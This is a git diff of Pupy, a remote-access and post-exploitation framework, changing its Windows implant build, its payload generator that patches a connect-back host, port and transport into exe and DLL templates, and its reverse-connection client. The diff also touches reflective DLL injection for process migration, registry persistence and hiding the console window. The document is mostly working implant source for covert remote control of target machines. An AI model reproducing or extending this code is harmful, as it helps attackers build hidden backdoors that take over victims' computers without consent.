diff --git a/.gitignore b/.gitignore index 27534abb..5eb82cb4 100644 --- a/.gitignore +++ b/.gitignore @@ -32,6 +32,7 @@ client/**/*.py[cod] pupy/*.py[cod] pupy/pupylib/**/*.py[cod] pupy/modules/*.py[cod] +pupy/network/**/*.py[cod] # do not ignore package & templates files !pupy/packages/ diff --git a/client/build_library_helper.py b/client/build_library_helper.py index b024d1fd..a07c4d8a 100644 --- a/client/build_library_helper.py +++ b/client/build_library_helper.py @@ -17,22 +17,22 @@ if not (len(sys.argv)==3 and sys.argv[1]=="genzip"): exit("This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub\nplease don't use this if you don't want to recompile from sources") if sys.argv[2] == 'x86': outname = 'x86' - platform = 'x86' + platform = '32' elif sys.argv[2] == 'x64': outname = 'x64' - platform = 'amd64' + platform = '-amd64' else: exit('unsupported platform') sys.argv=[sys.argv[0],"py2exe"] # put necessary library patches/includes/whatever in this directory -sys.path.insert(0, "sources/resources/library_patches") - +sys.path.insert(0, os.path.join("sources","resources","library_patches")) +sys.path.insert(0, os.path.join("..","pupy")) setup( - data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))], - console=['reverse_ssl.py'], + #data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))], + console=['..\\pupy\\pp.py'], #windows=['reverse_ssl.py'], #zipfile=None, options={ "py2exe" : { @@ -49,19 +49,25 @@ excluded_files = [ 'library.zip', 'mswsock.dll', 'python27.dll', + 'pp.exe', + 'w9xpopen.exe', ] + def zwalk(path, zf): for root, dirs, files in os.walk(path): for file in files: if file.lower() in excluded_files: pass + elif file.endswith('.pyd') and "." in file.rsplit(".",1)[0]: + arch_path="/".join(file.rsplit(".",1)[0].split('.')) + zf.write(os.path.join(root,file),arcname=arch_path+".pyd") else: zf.write(os.path.join(root, file)) with zipfile.ZipFile('sources/resources/library%s.zip' % outname, 'w', zipfile.ZIP_DEFLATED) as zf: root = os.getcwd() - os.chdir('build/bdist.win-%s/winexe/collect-2.7' % platform) + os.chdir('build/bdist.win%s/winexe/collect-2.7' % platform) zwalk('.', zf) os.chdir('%s/dist' % root) zwalk('.', zf) diff --git a/client/sources/Makefile b/client/sources/Makefile index 75d229e7..6ae3d7eb 100644 --- a/client/sources/Makefile +++ b/client/sources/Makefile @@ -4,7 +4,6 @@ PYTHONPATH=C:/Python27 PYTHON=$(PYTHONPATH)/python.exe TEMPLATE_OUTPUT_PATH=..\..\pupy\payload_templates - ifndef ARCH $(error You must specify an architecture.) else @@ -14,14 +13,20 @@ else CFLAGS:=$(CFLAGS) /DWIN_X86 endif endif +ifdef DEBUG +DEBUG_ADD:=DEBUG +CFLAGS:= $(CFLAGS) /DDEBUG +else +DEBUG_ADD:= +endif PYOBJS=_memimporter.obj MyLoadLibrary.obj Python-dynload.obj pupy_load.obj pupy.obj base_inject.obj COMMON_OBJS=resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj resources_library_compressed_string_txt.obj actctx.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj resources_msvcr90_dll.obj all: $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll -resources\library_compressed_string_$(ARCH).txt: gen_library_compressed_string.py - $(PYTHON) $+ +resources\library_compressed_string_$(ARCH).txt: gen_library_compressed_string.py resources\library$(ARCH).zip + $(PYTHON) gen_library_compressed_string.py resources\library_compressed_string.txt: resources\library_compressed_string_$(ARCH).txt copy $< $@ @@ -29,8 +34,8 @@ resources\library_compressed_string.txt: resources\library_compressed_string_$(A resources_library_compressed_string_txt.c: gen_resource_header.py resources\library_compressed_string.txt $(PYTHON) $+ -resources\bootloader.pyc: gen_python_bootloader.py ..\..\pupy\packages\all\pupyimporter.py - $(PYTHON) $+ +resources\bootloader.pyc: gen_python_bootloader.py ..\..\pupy\packages\all\pupyimporter.py ..\..\pupy\pp.py + $(PYTHON) gen_python_bootloader.py $(DEBUG_ADD) resources_bootloader_pyc.c: gen_resource_header.py resources\bootloader.pyc $(PYTHON) $+ @@ -50,6 +55,9 @@ resources_msvcr90_dll.c: gen_resource_header.py resources\msvcr90.dll $(PYOBJS): %.obj: %.c $(CC) /c $(CFLAGS) /I$(PYTHONPATH)/include $< +main_exe.obj: main_exe.c + $(CC) /c $(CFLAGS) $< + %.obj: %.c $(CC) /c $(CFLAGS) $< @@ -57,7 +65,7 @@ ReflectiveLoader.obj: ReflectiveLoader.c $(CC) /c $(CFLAGS) /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /O2 /Ob1 $< $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS) - $(CC) $(CFLAGS) $+ /Fe$@ + $(CC) $(CFLAGS) $+ /Fe$@ $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS) $(CC) $(CFLAGS) $+ /Fe$@ /LD diff --git a/client/sources/gen_python_bootloader.py b/client/sources/gen_python_bootloader.py index 81f0d537..a0cc9453 100644 --- a/client/sources/gen_python_bootloader.py +++ b/client/sources/gen_python_bootloader.py @@ -1,5 +1,6 @@ #!/usr/bin/env python # -*- coding: UTF8 -*- +import sys import marshal import struct import base64 @@ -20,7 +21,8 @@ sys.stdout = Blackhole() sys.stderr = Blackhole() del Blackhole """ -#remove_stdout="" +if len(sys.argv)==2 and sys.argv[1].strip().lower()=="debug": + remove_stdout="" def get_load_module_code(code, modulename): loader=""" import imp, sys @@ -42,9 +44,9 @@ if __name__=="__main__": with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f: code=f.read() code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "", "exec")) - code_bytes.append(compile("import pupyimporter;pupyimporter.install()\n", "", "exec")) + code_bytes.append(compile("import pupyimporter;pupyimporter.install();pupyimporter.load_pywintypes()\n", "", "exec")) #code_bytes.append(compile("import platform; print platform.uname()\n", "", "exec")) - with open(os.path.join("..","reverse_ssl.py")) as f: + with open(os.path.join("..",'..','pupy',"pp.py")) as f: code=f.read() code_bytes.append(compile(code+"\n", "", "exec")) code_bytes=marshal.dumps(code_bytes) diff --git a/client/sources/main_exe.c b/client/sources/main_exe.c index 29ec0923..f5d797c3 100644 --- a/client/sources/main_exe.c +++ b/client/sources/main_exe.c @@ -3,20 +3,11 @@ #include #include #include "pupy_load.h" +#ifndef DEBUG + #pragma comment(linker, "/subsystem:windows /ENTRY:mainCRTStartup") +#endif -#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup") - - -/* value ":" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */ -char connect_back_host[100]=":"; //big array to have space for big domain names. int main(int argc, char *argv[]){ - if (argc==2){ - memcpy(connect_back_host, argv[1], strlen(argv[1])+1); - } - if(strcmp(connect_back_host,":")==0){ - printf("usage: %s :",argv[0]); - return 1; - } return mainThread(NULL); } diff --git a/client/sources/main_reflective.c b/client/sources/main_reflective.c index 23276a0b..28d2f1f9 100644 --- a/client/sources/main_reflective.c +++ b/client/sources/main_reflective.c @@ -1,16 +1,14 @@ /* - * Author : Nicolas VERDIER - * - */ -//#pragma comment(lib, "user32") +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms +*/ + +#pragma comment(lib, "user32") #include #include "pupy_load.h" #include "ReflectiveDllInjection.h" -/* value ":" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */ -char connect_back_host[100]=":"; //big array to have space for big domain names. - extern HINSTANCE hAppInstance; //===============================================================================================// BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) diff --git a/client/sources/pupy.c b/client/sources/pupy.c index aab2a494..fafe7bd2 100644 --- a/client/sources/pupy.c +++ b/client/sources/pupy.c @@ -1,6 +1,6 @@ /* - For the pupy_builtins compiled into pupy exe and reflective DLL stubs we need "Python-dynload.h". - For the standalone .pyd we need +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms */ #include "Python-dynload.h" @@ -11,11 +11,7 @@ static char module_doc[] = "Builtins utilities for pupy"; extern const char resources_library_compressed_string_txt_start[]; extern const int resources_library_compressed_string_txt_size; -#ifndef STANDALONE -extern char connect_back_host[100]; -#else -char connect_back_host[100] = "0.0.0.0:443"; -#endif +char pupy_config[4096]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup extern const DWORD dwPupyArch; static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args) { @@ -23,10 +19,11 @@ static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args } static PyObject * -Py_get_connect_back_host(PyObject *self, PyObject *args) +Py_get_pupy_config(PyObject *self, PyObject *args) { - return Py_BuildValue("s", connect_back_host); + return Py_BuildValue("s", pupy_config); } + static PyObject *Py_get_arch(PyObject *self, PyObject *args) { if(dwPupyArch==PROCESS_ARCH_X86){ @@ -73,7 +70,7 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args) } static PyMethodDef methods[] = { - { "get_connect_back_host", Py_get_connect_back_host, METH_NOARGS, "get_connect_back_host() -> (ip, port)" }, + { "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" }, { "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" }, { "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS }, { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" }, diff --git a/client/sources/pupy_load.c b/client/sources/pupy_load.c index 4ac939e8..75bbb194 100644 --- a/client/sources/pupy_load.c +++ b/client/sources/pupy_load.c @@ -1,3 +1,8 @@ +/* +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms +*/ + #define QUIET // uncomment to avoid debug prints #include #include @@ -9,10 +14,6 @@ #include "resource_python_manifest.c" #include "base_inject.h" - -HANDLE MyActCtx; -static ULONG_PTR actToken; - extern const char resources_python27_dll_start[]; extern const int resources_python27_dll_size; extern const char resources_bootloader_pyc_start[]; @@ -46,15 +47,6 @@ DWORD WINAPI mainThread(LPVOID lpArg) char tmp_manifest_path[MAX_PATH]; char tmp_path[MAX_PATH]; ULONG_PTR cookie = 0; - /* - ACTCTX ctx; - BOOL activated; - HANDLE k32; - HANDLE (WINAPI *CreateActCtx)(PACTCTX pActCtx); - BOOL (WINAPI *ActivateActCtx)(HANDLE hActCtx, ULONG_PTR *lpCookie); - void (WINAPI *AddRefActCtx)(HANDLE hActCtx); - BOOL (WINAPI *DeactivateActCtx)(DWORD dwFlags, ULONG_PTR ulCookie); - */ PyGILState_STATE restore_state; if(!GetModuleHandle("msvcr90.dll")){ @@ -71,47 +63,10 @@ DWORD WINAPI mainThread(LPVOID lpArg) GetTempPath(MAX_PATH, tmp_path); //InitializeCriticalSection(&csInit); - /* - k32 = LoadLibrary("kernel32"); - CreateActCtx = (void*)GetProcAddress(k32, "CreateActCtxA"); - ActivateActCtx = (void*)GetProcAddress(k32, "ActivateActCtx"); - AddRefActCtx = (void*)GetProcAddress(k32, "AddRefActCtx"); - DeactivateActCtx = (void*)GetProcAddress(k32, "DeactivateActCtx"); - - - if (!CreateActCtx || !ActivateActCtx) - { - return 0; - } - - ZeroMemory(&ctx, sizeof(ctx)); - ctx.cbSize = sizeof(ACTCTX); - GetTempFileName(tmp_path, "tmp", 0, tmp_manifest_path); - - - f=fopen(tmp_manifest_path,"w"); - fprintf(f,"%s",resource_python_manifest); - fclose(f); - #ifndef QUIET - fprintf(stderr,"manifest written to %s\n",tmp_manifest_path); - #endif - ctx.lpSource = tmp_manifest_path; - - MyActCtx=CreateActCtx(&ctx); - if (MyActCtx != NULL) - { - AddRefActCtx(MyActCtx); - } - #ifndef QUIET - DeleteFile(tmp_manifest_path); - #endif - */ if(!Py_IsInitialized) { int res=0; - //activated = ActivateActCtx(MyActCtx, &actToken); - //cookie=_My_ActivateActCtx(); if(GetModuleHandle("python27.dll")){ HANDLE hp; #ifndef QUIET @@ -144,7 +99,6 @@ DWORD WINAPI mainThread(LPVOID lpArg) fprintf(stderr,"python interpreter loaded\n"); #endif } - //_My_DeactivateActCtx(cookie); } #ifndef QUIET fprintf(stderr,"calling PyEval_InitThreads() ...\n"); @@ -177,15 +131,12 @@ DWORD WINAPI mainThread(LPVOID lpArg) fprintf(stderr,"initpupy()\n"); #endif - //mod = PyImport_ImportModule("sys"); - //MessageBoxA(0, "hey ! :D", "DLL Message", MB_OK | MB_ICONINFORMATION); /* We execute then in the context of '__main__' */ #ifndef QUIET fprintf(stderr,"starting evaluating python code ...\n"); #endif - //PyRun_SimpleString("print 'ok from python'"); m = PyImport_AddModule("__main__"); if (m) d = PyModule_GetDict(m); if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size); @@ -206,16 +157,7 @@ DWORD WINAPI mainThread(LPVOID lpArg) } } PyGILState_Release(restore_state); - //if (PyErr_Occurred()) - // PyErr_Print(); Py_Finalize(); - /* - if (!DeactivateActCtx(0, actToken)){ - #ifndef QUIET - fprintf(stderr,"LOADER: Error deactivating context!\n!"); - #endif - } - */ //DeleteCriticalSection(&csInit); return 0; diff --git a/pupy/modules/migrate.py b/pupy/modules/migrate.py index 12df04f3..ccc78ac8 100644 --- a/pupy/modules/migrate.py +++ b/pupy/modules/migrate.py @@ -48,10 +48,10 @@ class MigrateModule(PupyModule): if self.client.conn.modules['pupwinutils.processes'].is_process_64(pid): isProcess64bits=True self.success("process is 64 bits") - dllbuff=pupygen.get_edit_pupyx64_dll(host, port) + dllbuff=pupygen.get_edit_pupyx64_dll(host, port, self.client.pupsrv.transport) else: self.success("process is 32 bits") - dllbuff=pupygen.get_edit_pupyx86_dll(host, port) + dllbuff=pupygen.get_edit_pupyx86_dll(host, port, self.client.pupsrv.transport) self.success("injecting DLL in target process %s ..."%pid) self.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits) self.success("DLL injected !") diff --git a/pupy/modules/persistence.py b/pupy/modules/persistence.py index 1d8c2169..ce28e165 100644 --- a/pupy/modules/persistence.py +++ b/pupy/modules/persistence.py @@ -46,9 +46,9 @@ class PersistenceModule(PupyModule): #generating exe self.info("generating exe ...") if self.client.desc['proc_arch']=="64bit": - exebuff=pupygen.get_edit_pupyx64_exe(host, port) + exebuff=pupygen.get_edit_pupyx64_exe(host, port, self.pupsrv.transport) else: - exebuff=pupygen.get_edit_pupyx86_exe(host, port) + exebuff=pupygen.get_edit_pupyx86_exe(host, port, self.pupsrv.transport) if args.method=="registry": self.client.load_package("pupwinutils.persistence") diff --git a/pupy/network/base.py b/pupy/network/base.py index 81523ebf..772da62a 100644 --- a/pupy/network/base.py +++ b/pupy/network/base.py @@ -1,5 +1,6 @@ -#!/usr/bin/env python # -*- coding: UTF8 -*- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms class Circuit(object): """ alias for obfsproxy style syntax""" diff --git a/pupy/network/buffer.py b/pupy/network/buffer.py index 2486f25e..fbf512aa 100644 --- a/pupy/network/buffer.py +++ b/pupy/network/buffer.py @@ -1,6 +1,6 @@ -# This file has been taken from obfsproxy project # Using the same buffer object as in obfsproxy to enhance compatibility - +#some modifications brings to have waiting capabilities +import threading class Buffer(object): """ A Buffer is a simple FIFO buffer. You write() stuff to it, and you @@ -13,9 +13,20 @@ class Buffer(object): """ self.buffer = bytes(data) self.on_write_f=on_write + self.waiting_lock=threading.Lock() + self.waiting=threading.Event() + + def on_write(self): if self.on_write_f: self.on_write_f() + + def wait(self, timeout=0.1): + """ wait for a size """ + with self.waiting_lock: + self.waiting.clear() + self.waiting.wait(timeout) + def read(self, n=-1): """ Read and return 'n' bytes from the buffer. @@ -38,8 +49,10 @@ class Buffer(object): """ Append 'data' to the buffer. """ - self.buffer = self.buffer + data - self.on_write() + with self.waiting_lock: + self.buffer = self.buffer + data + self.on_write() + self.waiting.set() def peek(self, n=-1): """ diff --git a/pupy/network/buffer.pyc b/pupy/network/buffer.pyc deleted file mode 100644 index c963a7d1..00000000 Binary files a/pupy/network/buffer.pyc and /dev/null differ diff --git a/pupy/network/conf.py b/pupy/network/conf.py index 594cce44..dcfd99e7 100644 --- a/pupy/network/conf.py +++ b/pupy/network/conf.py @@ -1,5 +1,6 @@ -#!/usr/bin/env python # -*- coding: UTF8 -*- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms from .servers import PupyTCPServer from .clients import PupyTCPClient, PupySSLClient from .transports import dummy, b64 @@ -14,18 +15,18 @@ except ImportError: from rpyc.utils.authenticators import SSLAuthenticator ssl_auth=None -config = configparser.ConfigParser() -try: + +def ssl_authenticator(): + config = configparser.ConfigParser() config.read("pupy.conf") -except Exception: - logging.error("couldn't read pupy.conf") + return SSLAuthenticator(config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH") transports={ "tcp_ssl" : { "server" : PupyTCPServer, "client": PupySSLClient, "client_kwargs" : {}, - "authenticator" : SSLAuthenticator(config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH"), + "authenticator" : ssl_authenticator, "stream": PupySocketStream , "client_transport" : dummy.DummyPupyTransport, "server_transport" : dummy.DummyPupyTransport, diff --git a/pupy/network/conf.pyc b/pupy/network/conf.pyc deleted file mode 100644 index 2fabffdd..00000000 Binary files a/pupy/network/conf.pyc and /dev/null differ diff --git a/pupy/network/streams.py b/pupy/network/streams.py index 8218a577..f2eafd98 100644 --- a/pupy/network/streams.py +++ b/pupy/network/streams.py @@ -1,6 +1,8 @@ -#!/usr/bin/env python # -*- coding: UTF8 -*- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms """ abstraction layer over rpyc streams to handle different transports and integrate obfsproxy pluggable transports """ +import sys from rpyc.core import SocketStream from .buffer import Buffer import socket @@ -9,6 +11,8 @@ import errno import logging import traceback from rpyc.lib.compat import select, select_error, BYTES_LITERAL, get_exc_errno, maxint +import threading +retry_errnos = (errno.EAGAIN, errno.EWOULDBLOCK) class PupySocketStream(SocketStream): def __init__(self, sock, transport_class): @@ -21,6 +25,9 @@ class PupySocketStream(SocketStream): self.downstream=Buffer(on_write=self._upstream_recv) self.transport=transport_class(self) self.on_connect() + #self.async_read_thread=threading.Thread(target=self._downstream_recv_loop) + #self.async_read_thread.daemon=True + #self.async_read_thread.start() def on_connect(self): self.transport.on_connect() @@ -28,7 +35,6 @@ class PupySocketStream(SocketStream): def _read(self): try: - #buf = self.sock.recv(min(self.MAX_IO_CHUNK, count)) buf = self.sock.recv(self.MAX_IO_CHUNK) except socket.timeout: return @@ -52,23 +58,29 @@ class PupySocketStream(SocketStream): def _upstream_recv(self): """ called as a callback on the downstream.write """ - #print "upstream_recv" - #print "downstream=%s"%len(self.downstream) - #print "upstream=%s"%len(self.upstream) if len(self.downstream)>0: - #print "writing %s"%len(self.downstream.peek()) super(PupySocketStream, self).write(self.downstream.read()) + def _downstream_recv_loop(self): + try: + while True: + self._read() + self.transport.downstream_recv(self.buf_in) + except EOFError as e: + self.upstream.set_eof(e) + + def read(self, count): try: if len(self.upstream)>=count: return self.upstream.read(count) while len(self.upstream)1: parser = argparse.ArgumentParser(prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec (contact@n1nj4.eu)\n") parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default=TRANSPORT, help="the transport to use ! (the server needs to be configured with the same transport) ") @@ -103,7 +119,9 @@ def main(): if "windows" in platform.system().lower(): try: import pupy - HOST=pupy.get_connect_back_host() + config_file=pupy.get_pupy_config() + exec config_file in globals() + pupy.get_connect_back_host=(lambda: HOST) except ImportError: print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL" else: diff --git a/pupy/pupygen.py b/pupy/pupygen.py index b63de550..c9d7734c 100755 --- a/pupy/pupygen.py +++ b/pupy/pupygen.py @@ -1,58 +1,46 @@ -#!/usr/bin/env python # -*- coding: UTF8 -*- -# --------------------------------------------------------------- # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE -# --------------------------------------------------------------- +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms import argparse import sys import os.path from pupylib.utils.network import get_local_ip +from network.conf import transports -def get_edit_pupyx86_dll(host, ip): - return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip) +def get_edit_pupyx86_dll(host, ip, transport): + return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip, transport) -def get_edit_pupyx64_dll(host, ip): - return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip) +def get_edit_pupyx64_dll(host, ip, transport): + return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip, transport) -def get_edit_pupyx86_exe(host, ip): - return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip) +def get_edit_pupyx86_exe(host, ip, transport): + return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip, transport) -def get_edit_pupyx64_exe(host, ip): - return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip) +def get_edit_pupyx64_exe(host, ip, transport): + return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip, transport) -def get_edit_binary(path, host, ip): +def get_edit_binary(path, host, port, transport, offline_script=""): binary=b"" with open(path, 'rb') as f: binary=f.read() i=0 offsets=[] while True: - i=binary.find(":\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1) + i=binary.find("####---PUPY_CONFIG_COMES_HERE---####\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1) if i==-1: break offsets.append(i) if not offsets: - raise Exception("Error: the offset to edit IP:PORT have not been found") + raise Exception("Error: the offset to edit the config have not been found") elif len(offsets)!=1: - raise Exception("Error: multiple offsets to edit IP:PORT have been found") + raise Exception("Error: multiple offsets to edit the config have been found") - new_host="%s:%s\x00\x00\x00\x00"%(host,ip) - if len(new_host)>100: - raise Exception("Error: host too long") - binary=binary[0:offsets[0]]+new_host+binary[offsets[0]+len(new_host):] + new_conf="HOST=\"%s:%s\"\nTRANSPORT=%s\n%s\n\x00\x00\x00\x00\x00\x00\x00\x00"%(host, port, repr(transport), offline_script) + if len(new_conf)>4092: + raise Exception("Error: config too long") + binary=binary[0:offsets[0]]+new_conf+binary[offsets[0]+len(new_conf):] return binary @@ -61,6 +49,7 @@ if __name__=="__main__": parser.add_argument('-t', '--type', default='exe_x86', choices=['exe_x86','exe_x64','dll_x86','dll_x64'], help="(default: exe_x86)") parser.add_argument('-o', '--output', help="output path") parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)") + parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default='tcp_ssl', help="the transport to use ! (the server needs to be configured with the same transport) ") parser.add_argument('host', nargs='*', help="connect back host") args=parser.parse_args() myhost=None @@ -74,28 +63,28 @@ if __name__=="__main__": outpath=None if args.type=="exe_x86": - binary=get_edit_pupyx86_exe(myhost, args.port) + binary=get_edit_pupyx86_exe(myhost, args.port, args.transport) outpath="pupyx86.exe" if args.output: outpath=args.output with open(outpath, 'wb') as w: w.write(binary) elif args.type=="exe_x64": - binary=get_edit_pupyx64_exe(myhost, args.port) + binary=get_edit_pupyx64_exe(myhost, args.port, args.transport) outpath="pupyx64.exe" if args.output: outpath=args.output with open(outpath, 'wb') as w: w.write(binary) elif args.type=="dll_x64": - binary=get_edit_pupyx64_dll(myhost, args.port) + binary=get_edit_pupyx64_dll(myhost, args.port, args.transport) outpath="pupyx64.dll" if args.output: outpath=args.output with open(outpath, 'wb') as w: w.write(binary) elif args.type=="dll_x86": - binary=get_edit_pupyx86_dll(myhost, args.port) + binary=get_edit_pupyx86_dll(myhost, args.port, args.transport) outpath="pupyx86.dll" if args.output: outpath=args.output @@ -103,7 +92,7 @@ if __name__=="__main__": w.write(binary) else: exit("Type %s is invalid."%(args.type)) - print "binary generated to %s with HOST=%s"%(outpath,(myhost, args.port)) + print "binary generated to %s with HOST=%s:%s and TRANSPORT=%s"%(outpath, myhost, args.port, args.transport) diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py index 0be74db6..02cb5f4d 100644 --- a/pupy/pupylib/PupyServer.py +++ b/pupy/pupylib/PupyServer.py @@ -262,7 +262,11 @@ class PupyServer(threading.Thread): self.handler_registered.wait() self.handler.display_srvinfo("Server started on %s:%s with transport %s"%(self.address, self.port, self.transport)) t=transports[self.transport] - self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=t['authenticator'], stream=t['stream'], transport=t['server_transport']) + if t['authenticator']: + authenticator=t['authenticator']() + else: + authenticator=None + self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=authenticator, stream=t['stream'], transport=t['server_transport']) self.server.start()